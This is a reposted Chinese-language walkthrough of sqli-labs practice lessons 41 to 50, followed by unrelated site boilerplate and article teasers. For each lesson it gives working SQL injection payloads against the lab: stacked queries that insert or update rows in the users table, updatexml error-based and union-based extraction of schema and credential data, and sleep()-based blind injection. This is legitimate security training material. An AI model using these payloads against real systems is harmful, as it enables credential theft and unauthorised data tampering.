sqli-labs-master/Less-41~Less-50

Less-41

這一關還是用堆疊注入,這關數字型不需要閉合了。

用堆疊的話,我們就不爆信息了。我們直接用堆疊,往進去寫一條數據

?id=-1 union select 1,2,3;insert into users (id,username,password) values(666,'zk','180')--+

看一下插進去了沒

?id=-1 union select 1,(select group_concat(username, password) from users where id = 666),3 --+

好了。

Less-42

這一關變成以post傳參,防止它對我們拼接的語句編碼,所以我們就不在輸入框中嘗試了。

我們直接抓包,重放,發現輸密碼那里有回顯。

這里介紹一種標準的sql語句的注釋方法杠杠空格

'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- 

接下來爆表

'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) -- 

下面爆字段

'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- 

下面爆數據

'and updatexml(1,concat(0x7e,(select group_concat(id,'~',username,'~',password)from users),0x7e),1) -- 

Less-43

這一關的注入點變了。這種關卡有很多方式都可以做

') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- 

這一關單引號括號閉合,下面參考上一關語句

Less-44

這一關post聯合注入,注入點還是密碼那里,單引號注釋,井號閉合

爆庫

1' union select 1,database(),3 #

下面語句參考以上

Less-45

跟上一關一樣,但這一關是用單引號括號閉合的

爆庫

1') union select 1,database(),3 #

下面不說了

Less-46

這一關參數變了,它提示我們用sort傳參,試了發現是數字型的,直接構造語句爆庫

?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

下面還是老樣子。

Less-47

這一關,還是報錯注入,比上一關多了一個單引號閉合,換湯不換藥。秒了

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less-48

這一關發現沒有任何回顯,我們考慮時間盲注

?sort=1 and sleep(1)

頁面直接延時,說明他執行了我們的語句,數字型

直接構造語句判斷數據庫長度

?sort=1 and if(length(database())>8,sleep(1),1)

當大于7時頁面延時,大于8時頁面不延時,說明數據庫長度是8

然后爆庫,構造語句

?sort=1 and if(substr(database(),1,1)='a',sleep(10),1)

截取數據庫第一位如果是a,則sleep(10)

但原理是這樣的,我們總不可能從a試到z吧,況且數據庫有8位。

所以直接抓包,設置

正確的會延時,這樣就得到了數據庫名。

接下來爆表

?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='a',sleep(3),1)

得出第4個表是users

接下來爆字段

?sort=1 and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='a',sleep(3),1)

得出users表中第二個字段是username

接下來,爆數據

?sort=1 and if(substr((select username from users limit 0,1),1,1)='D',sleep(3),1)

爆出第一個username字段是Dumb,你們還可以把密碼都爆出來。

Less-49

這一關和上一關一樣用時間盲注,閉合方式單引號。

判斷數據庫名長度

?sort=1' and if(length(database())>8,sleep(3),1) --+

發現7時頁面延時,8不延時,說明數據庫有8位。

接下來爆庫

?sort=1' and if(substr(database(),1,1)='s',sleep(3),1) --+

下面參考上一關即可。

Less-50

這一關依舊是數字型堆疊注入,我們這回改它數據庫的一條數據,看能否成功,語句如下

1;update users set username='ZZKK' where id=1

可以看到攻擊成功了。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/92162.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/92162.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/92162.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Tiger任務管理系統-10

十是個很好美好的數字,十全十美,確實沒讓人失望,收獲還是很大的。 溫習了前端知識,鞏固了jQuery,thymeleaf等被忽視的框架,意外將之前的所學所用的知識都連起來了,感覺有點像打通了任督二脈一樣…

ora-01658 無法為表空間 users中的段創建initial區

ora-01658 無法為表空間 users中的段創建initial區 參考1 參考2 參考3 參考4 給用戶新增表空間 alter tablespace system add datafile D:\APP\ADMINISTRATOR\ORADATA\ORCL\SYSTEM03.DBF size 5G autoextend on next 10M;設置表空間文件自動擴展 ALTER DATABASE DATAFILE /…

lodash的替代品es-toolkit詳解

一、es-toolkit簡介 es-toolkit 是一款先進的高性能 JavaScript 實用程序庫,體積小巧,并支持強類型注釋,典型特征包括: 提供各種日常實用函數并采用現代實現,例如: debounce、delay、chunk、sum 和 pick 等 設計充分考慮了性能,在現代 JavaScript 環境中實現了 2-3 倍…

【原創】基于gemini-2.5-flash-preview-05-20多模態模型實現短視頻的自動化二創

畫面和解說保持一致,這個模型就是NB[16:57:37] [*] 正在從視頻中提取幀和時長 (頻率: 1.0 幀/秒)... [16:57:55] [] 提取完成。視頻時長: 83.40秒, 提取了 84 幀。 [16:57:55] [*] 使用AI供應商: gemini [16:57:55] [*] 正在進行視覺分析... [16:57:55] L-> 正…

數倉架構 數據表建模

數倉架構 主要用來描述 數據加工的實時鏈路 和 離線鏈路之間的關系,即 流批 關系; lamda 架構, 是兩條路, 實時計算式的, 維護數據的實時性。然后每天經過批計算后, 覆蓋實時的計算結果。 保證數據準確性。 kappa架構, 即流批一體了 數據建模 星型模型是數據倉庫中最…

vscode調試python腳本時無法進入函數內部的解決方法

只需在launch.json配置文件中添加“justMyCode”:false.

Python day37

浙大疏錦行 python day37. 內容: 保存模型只需要保存模型的參數即可,使用的時候直接構建模型再導入參數即可 # 保存模型參數 torch.save(model.state_dict(), "model_weights.pth")# 加載參數(需先定義模型結構) mod…

ORACLE進階操作

1 事務 事務的任務便是使數據庫從一種狀態變換成為另一種狀態,這不同于文件系統,它是數據庫所特用的。 所有的數據庫中,事務只針對DML(增刪改),不針對select select只能查看其他事務提交或回滾的數據,不能查…

Modbus 的一些理解

疑問:(使用的是Modbustcp)我在 Modbus slave 上面設置了slave地址為1,位置為40001的位置的值為1,40001這個位置上面的值是怎么存儲的,存儲在哪里的?他們是怎么進行交互的?在Modbus協…

【運動控制框架】WPF運動控制框架源碼,可用于激光切割機,雕刻機,分板機,點膠機,插件機等設備,開箱即用

WPF運動控制框架源碼,可用于激光切割機,雕刻機,分板機,點膠機,插件機等設備,考慮到各運動控制硬件不同,視覺應用功能(應用視覺軟件)也不同,所以只開發各路徑編…

RabbitMQ-日常運維命令

作者介紹:簡歷上沒有一個精通的運維工程師。請點擊上方的藍色《運維小路》關注我,下面的思維導圖也是預計更新的內容和當前進度(不定時更新)。中間件,我給它的定義就是為了實現某系業務功能依賴的軟件,包括如下部分:Web服務器代理…

【Linux基礎知識系列】第九十篇 - 使用awk進行文本處理

在Linux系統中,文本處理是一個常見的任務,尤其是在處理日志文件、配置文件和數據文件時。awk是一個功能強大的文本處理工具,廣泛用于數據提取、分析和格式化。它不僅可以處理簡單的文本文件,還可以處理復雜的結構化數據&#xff0…

第二十七天(數據結構:圖)

圖:是一種非線性結構形式化的描述: G{V,R}V:圖中各個頂點元素(如果這個圖代表的是地圖,這個頂點就是各個點的地址)R:關系集合,圖中頂點與頂點之間的關系(如果是地圖,這個關系集合可能就代表的是各個地點之間的距離)在頂點與頂點…

數據賦能(386)——數據挖掘——迭代過程

概述重要性如下:提升挖掘效果:迭代過程能不斷優化數據挖掘模型,提高挖掘結果的準確性和有效性,從而更好地滿足業務需求。適應復雜數據:數據往往具有復雜性和多樣性,通過迭代可以逐步探索和適應數據的特點&a…

什么是鍵值緩存?讓 LLM 閃電般快速

一、為什么 LLMs 需要 KV 緩存?大語言模型(LLMs)的文本生成遵循 “自回歸” 模式 —— 每次僅輸出一個 token(如詞語、字符或子詞),再將該 token 與歷史序列拼接,作為下一輪輸入,直到…

16.Home-懶加載指令優化

問題1:邏輯書寫位置不合理問題2:重復監聽問題已經加載完畢但是還在監聽

Day116 若依融合mqtt

MQTT 1.MQTT協議概述MQTT是一種基于發布/訂閱模式的輕量級消息傳輸協議,設計用于低帶寬、高延遲或不穩定的網絡環境,廣泛應用于物聯網領域1.1 MQTT協議的應用場景1.智能家居、車聯網、工業物聯網:MQTT可以用于連接各種家電設備和傳感器&#…

PyTorch + PaddlePaddle 語音識別

PyTorch PaddlePaddle 語音識別 目錄 概述環境配置基礎理論數據預處理模型架構設計完整實現案例模型訓練與評估推理與部署性能優化技巧總結 語音識別(ASR, Automatic Speech Recognition)是將音頻信號轉換為文本的技術。結合PyTorch和PaddlePaddle的…

施耐德 Easy Altivar ATV310 變頻器:高效電機控制的理想選擇(含快速調試步驟及常見故障代碼)

施耐德 Easy Altivar ATV310 變頻器:高效電機控制的理想選擇(含快速調試步驟)在工業自動化領域,變頻器作為電機控制的核心設備,其性能與可靠性直接影響整個生產系統的效率。施耐德電氣推出的 Easy Altivar ATV310 變頻…

搭建郵件服務器概述

一、電子郵件應用解析標準郵件服務器(qq郵箱):1)提供電子郵箱(lvbuqq.com)及存儲空間2)為客戶端向外發送郵件給其他郵箱(diaochan163.com)3)接收/投遞其他郵箱…